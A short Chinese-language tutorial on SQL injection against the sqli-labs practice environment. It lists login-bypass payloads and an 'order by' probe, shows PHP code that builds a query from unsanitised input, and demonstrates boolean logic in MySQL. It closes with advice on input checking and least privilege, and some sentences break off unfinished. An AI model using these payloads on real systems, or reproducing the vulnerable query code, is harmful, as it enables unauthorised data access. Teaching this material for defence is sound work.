SQL 注入是通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
常见SQL注入语句$username = 1'or'1'='1$password=1'or'1'='1
$username =1' or '1'='1'))/*$password = foo
http://192.168.254.132/sqli-labs/Less-1/?id=1’ order by 3 --+
这是一个很简单的
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
比如我们在id = 1,点击
稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对。也就是说,我们在1' or '1'='1,执行就会变成:
//原先要在数据库中执行的命令SELECT first_name, last_name FROM users WHERE user_id = '1'//变成SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
注意一下单引号,这是'1'='1让单引号闭合。
由于
Boolean-based 原理分析
首先不得不讲SQL中的AND和ORAND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。AND:返回第一个条件和第二个条件都成立的记录。OR:返回满足第一个条件或第二个条件的记录。AND和OR即为集合论中的交集和并集。下面是一个数据库的查询内容。
mysql> select * from students;
+-------+-------+-----+| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 || 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)
1)
mysql> select * from students where TRUE ;
+-------+-------+-----+| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 || 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)
2)
mysql> select * from students where FALSE ;Empty set (0.00 sec)
3)
mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+| id | name | age |
+-------+-------+-----+| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)
4)
mysql> select * from students where id = 10056 and FALSE ;Empty set (0.00 sec)
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。